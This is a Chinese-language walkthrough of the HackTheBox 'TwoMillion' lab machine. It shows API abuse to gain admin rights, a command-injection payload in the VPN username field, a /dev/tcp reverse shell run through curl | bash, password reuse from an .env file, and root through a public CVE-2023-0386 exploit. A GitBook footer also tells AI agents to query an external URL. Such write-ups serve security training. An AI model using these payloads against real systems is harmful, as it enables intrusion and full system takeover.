> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/writeups-ctf/hackthebox/linux-easy/twomillion-hackthebox-writeup.md).

# TwoMillion HackTheBox 复盘

TwoMillion HackTheBox 简单 Linux 机器复盘，涵盖滥用 API 生成有效邀请代码、滥用 API 将我们的权限提升为管理员、通过设计不良的命令注入

{% embed url="<https://app.hackthebox.com/machines/TwoMillion>" %}

{% hint style="warning" %}
**技能：**

* 滥用 API 生成有效的邀请码
* 滥用 API 将我们的权限提升为管理员
* 通过设计不佳的 API 功能进行命令注入
* 信息泄露
* 通过内核利用实现权限提升（CVE-2023-0386）- OverlayFS 漏洞
  {% endhint %}

**工作区设置：**

通过创建三个文件夹来设置工作区，用于存放重要内容、漏洞利用和 Nmap 侦察结果。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-34cd0bc042305198e31e0630947b2ddeb109909b%2Fimage%20(3013).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**VPN 连接检查**

检查 VPN 连接，以确保与目标机器的稳定通信。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-089108817699c2b7bcb60fd330a42074349af9ba%2Fimage%20(3014).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**使用 Nmap 发现开放端口：**

枚举开放端口，并将结果导出到 Nmap 目录中的“allPorts”文件：

```bash
nmap -p- --open -sS -n -Pn --min-rate 5000 10.10.11.221 -oG allPorts
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-13cea665d269c7608ac02b5cabfbcd9133b83800%2Fimage%20(3015).png?alt=media" alt=""><figcaption></figcaption></figure>

**使用 Nmap 进行端口版本扫描：**

使用 Nmap 扫描服务版本，并将输出保存到“targeted”文件中：

```bash
nmap -sCV -p22,80 2million.htb-oN targeted
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3f3480841eac9af49704f13219048741cb99d7b2%2Fimage%20(3017).png?alt=media" alt=""><figcaption></figcaption></figure>

## 端口 80 - HTTP

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-0651feab92d73d7e276a4de76baa5358743f053f%2Fimage%20(3018).png?alt=media" alt=""><figcaption></figcaption></figure>

#### 使用 Gobuster 进行资源发现

```bash
gobuster dir -u http://2million.htb/ /
-w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt /
-t 100 -r --exclude-length 1674
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-19c84afcd0ee1d4cf66ab273f98a4420fd7a5cc2%2Fimage%20(3020).png?alt=media" alt=""><figcaption></figcaption></figure>

#### 发现 `inviteapi.min.js` 文件

这个 JavaScript 文件使用经典的 `eval(function(p,a,c,k,e,d){...})` 技术进行了大量混淆。反混淆后，会出现两个有趣的函数：

* `verifyInviteCode(code)`：将邀请码发送到 `/api/v1/invite/verify`
* `makeInviteCode()`：向 `/api/v1/invite/how/to/generate`

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-112c6bdeb216fcebbca52655be25d4811141f68c%2Fimage%20(3021).png?alt=media" alt=""><figcaption></figcaption></figure>

## 利用 API——生成邀请码

#### 初始调用：

```bash
curl -X POST /
     -H "Content-Type: application/json" /
     http://2million.htb/api/v1/invite/how/to/generate
```

答案

> {"0":200,"success":1,"data":{"data":"Va beqre gb trarengr gur vaivgr pbqr, znxr n CBFG erdhrfg gb /ncv/i1/vaivgr/trarengr","enctype":"ROT13"},"hint":"Data is encrypted ... We should probbably check the encryption type in order to decrypt it..."}#

#### ROT13 解密 → 新 URL：

{% embed url="<https://rot13.com/>" %}

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f558d9e129d97665eb32de32a898d4060e3b07f6%2Fimage%20(3022).png?alt=media" alt=""><figcaption></figcaption></figure>

要生成邀请码，请向 /api/v1/invite/generate 发送 POST 请求

#### 请求：

```bash
curl -X POST /
     -H "Content-Type: application/json" /
     http://amillion.htb/api/v1/invite/generate
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3c4a574ce3457de6c85bd2fc9cd813ca88dba62e%2Fimage%20(3023).png?alt=media" alt=""><figcaption></figcaption></figure>

响应（base64）：

* V1VPSUYtTEs2OFgtSFVHVFctRE9YMVM=

解码：

```bash
echo "V1VPSUYtTEs2OFgtSFVHVFctRE9YMVM=" | base64 -d; echo
```

WUOIF-LK68X-HUGTW-DOX1S

我们使用这个代码在网站上创建账户。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a4f146845897d80482d99bc27a724e45231f2670%2Fimage%20(3024).png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-876ec3e051d8f699ccc336fcabe1ad8fced1017f%2Fimage%20(3025).png?alt=media" alt="" width="389"><figcaption></figcaption></figure>

## HackTheBox API 利用

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b6194da0687daa4b3a4a82730c939231a3ce587b%2Fimage%20(3026).png?alt=media" alt=""><figcaption></figcaption></figure>

#### API 观察

通过访问 `/api`，我们可以观察可用的路由。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-443a959d8295d8b483443b8e4fbcc67a8bb5fa29%2Fimage%20(3027).png?alt=media" alt=""><figcaption></figcaption></figure>

#### 尝试生成 VPN 配置（初次失败）

```bash
curl -v -X POST /
     -H "Content-Type: application/json" /
     --cookie "session=vk54bhldiqdlml8prnse47fkv3" /
     http://2million.htb/api/v1/admin/vpn/generate
```

答案：不允许。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-159a880e6902c03f848e0458eee04e8355929590%2Fimage%20(458).png?alt=media" alt=""><figcaption></figcaption></figure>

#### 通过 API 修改我们的角色

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-8f3b7ad34ca7fd589d797fb7e2b54d9d163d5f4e%2Fimage%20(459).png?alt=media" alt=""><figcaption></figcaption></figure>

我们测试使用以下路由更改用户设置：

```bash
curl -X PUT /
     -H "Content-Type: application/json" /
     -H "Cookie: PHPSESSID=vk54bhldiqdlml8prnse47fkv3" /
     http://2million.htb/api/v1/admin/settings/update
```

> {"status":"danger","message":"缺少参数：email"}

```bash
curl -X PUT /
     -H "Content-Type: application/json" /
     -H "Cookie: PHPSESSID=vk54bhldiqdlml8prnse47fkv3" /
     http://2million.htb/api/v1/admin/settings/update -d '{"email": "jordan@jordan.com"}'
```

> {"status":"danger","message":"缺少参数：is/\_admin"}

```bash
curl -X PUT /
     -H "Content-Type: application/json" /
     -H "Cookie: PHPSESSID=vk54bhldiqdlml8prnse47fkv3" /
     http://2million.htb/api/v1/admin/settings/update -d '{"email": "jordan@jordan.com", "is_admin": 1}'
```

> 答案：
>
> {"id":15,"username":"Jordan","is/\_admin":1}

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f9bf1e39d8b38e84ce3b20af07c73c362c793247%2Fimage%20(460).png?alt=media" alt=""><figcaption></figcaption></figure>

#### 检查我们的管理员状态

```bash
curl -s -X GET /
     -H "Content-Type: application/json" /
     -H "Cookie: PHPSESSID=vk54bhldiqdlml8prnse47fkv3" /
     http://2million.htb/api/v1/admin/auth | jq
{
  "message": true
}
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b261100f7104024b6a36227120b12357c8e82dfd%2Fimage%20(461).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

### 通过命令注入实现 RCE

```bash
curl -s -X POST /
     -H "Content-Type: application/json" /
     -H "Cookie: PHPSESSID=vk54bhldiqdlml8prnse47fkv3" /
     http://2million.htb/api/v1/admin/vpn/generate -d '{"username": "jordan@jordan.com"}'
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c051f2edfa608a43955602a3bfa7b2412557b8c8%2Fimage%20(462).png?alt=media" alt=""><figcaption></figcaption></figure>

尝试向字段注入命令 `用户名`:

```bash
curl -s -X POST /
     -H "Content-Type: application/json" /
     -H "Cookie: PHPSESSID=vk54bhldiqdlml8prnse47fkv3" /
     http://2million.htb/api/v1/admin/vpn/generate -d '{"username": "jordan;id #"}'
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a31845f9173de41ba756a102a08e4f4023902332%2Fimage%20(463).png?alt=media" alt=""><figcaption></figcaption></figure>

#### 反向 Shell

1. **文件服务器**

```bash
echo 'bash -i >& /dev/tcp/10.10.14.88/443 0>&1' > index.html
python3 -m http.server 80
```

2. **Netcat 监听**

```bash
nc -nvlp 443
```

3. **发送命令**

```bash
curl -s -X POST /
     -H "Content-Type: application/json" /
     -H "Cookie: PHPSESSID=vk54bhldiqdlml8prnse47fkv3" /
     http://2million.htb/api/v1/admin/vpn/generate -d '{"username": "jordan;curl http://10.10.14.88 | bash"}'    
```

我们得到了一个反向 shell

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-be97c8f5e23d34a2a7fa0da58756df54b955d269%2Fimage%20(464).png?alt=media" alt=""><figcaption></figcaption></figure>

## 权限提升

#### 敏感文件发现

通过搜索 shell 可访问的文件，我们发现了一个隐藏的 `.env` 包含数据库凭据的文件：

```bash
DATABASE=htb_prod
USERNAME=admin
PASSWORD=SuperDuperPass123
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3f7678c0b91aa2752671ba3902968bfcdfc2327e%2Fimage%20(465).png?alt=media" alt=""><figcaption></figcaption></figure>

我们还注意到存在第二个名为 `admin`.

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-7268549e4e779a3da76c3746d4b62aefbbe299ed%2Fimage%20(466).png?alt=media" alt=""><figcaption></figcaption></figure>

#### 密码重用

通过测试发现的凭据，我们发现系统用户 `admin` 正在使用 **相同的密码** 作为数据库密码。

### user.txt 标志 :)

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-80516a906d4b5764d9b470b83cfb4f1647b7f56d%2Fimage%20(467).png?alt=media" alt=""><figcaption></figcaption></figure>

这种糟糕的做法使我们能够获取一个 **SSH 连接**:

#### 系统邮箱

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-576193ef8aa3db9b9449d2ffa04e2a8eb12317f7%2Fimage%20(470).png?alt=media" alt=""><figcaption></figcaption></figure>

连接时，一条消息告诉我们存在一封 **新邮件**。阅读后，我们得到了关键信息：

> 嘿，管理员，
>
> 我知道你正在尽快进行数据库迁移。在我们部分停机期间，你也能把 Web 主机上的操作系统升级一下吗？今年已经出现了几个严重的 Linux 内核 CVE。OverlayFS / FUSE 中那个看起来很危险。我们可不能被它攻破。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-6a5f16166613f7348ebb66ab704dd06ade49da50%2Fimage%20(471).png?alt=media" alt=""><figcaption></figcaption></figure>

这条消息让我们找到了一个 **已知的 OverlayFS 漏洞**:/ **CVE-2023-0386** ——一个 Linux 内核中的本地权限提升漏洞。

## CVE-2023-0386 利用 - OverlayFS 权限提升

> OverlayFS 允许你叠加文件系统。在 Linux 内核的某些版本中，糟糕的容量管理允许非特权用户以 **root 权限**.

{% embed url="<https://github.com/puckiestyle/CVE-2023-0386>" %}

**操作步骤**

1. **克隆漏洞利用** 到我们的本地机器：

```bash
git clone https://github.com/puckiestyle/CVE-2023-0386
cd CVE-2023-0386
make all
```

2. **传输编译后的文件** 到目标机器（`scp`, `python -m http.server`等）。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-5d8cca90a849306f4f0a7db9df6dcbf1e4c394f2%2Fimage%20(472).png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-965ce4a410b32a3dc104a4e90c1ba99e99addef4%2Fimage%20(473).png?alt=media" alt=""><figcaption></figcaption></figure>

2. **在目标机器上**，在 **两个终端**:

* 终端 A：

```bash
./fuse ./ovlcap/lower ./gc
```

* 终端 B：

```bash
./exp
```

如果一切顺利，我们会得到一个 **root** shell

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-8413db904be40722f9ab728b8f41a4a60b80e696%2Fimage%20(474).png?alt=media" alt=""><figcaption></figcaption></figure>

### root.txt 标志 :)

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-fe8e0a72ad619012070779b5b798c837c8943863%2Fimage%20(475).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b3ffc7312937ff11804821ebec1aa1f3b047f49d%2Fimage%20(468).png?alt=media" alt="" width="409"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/zh/writeups-ctf/hackthebox/linux-easy/twomillion-hackthebox-writeup.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
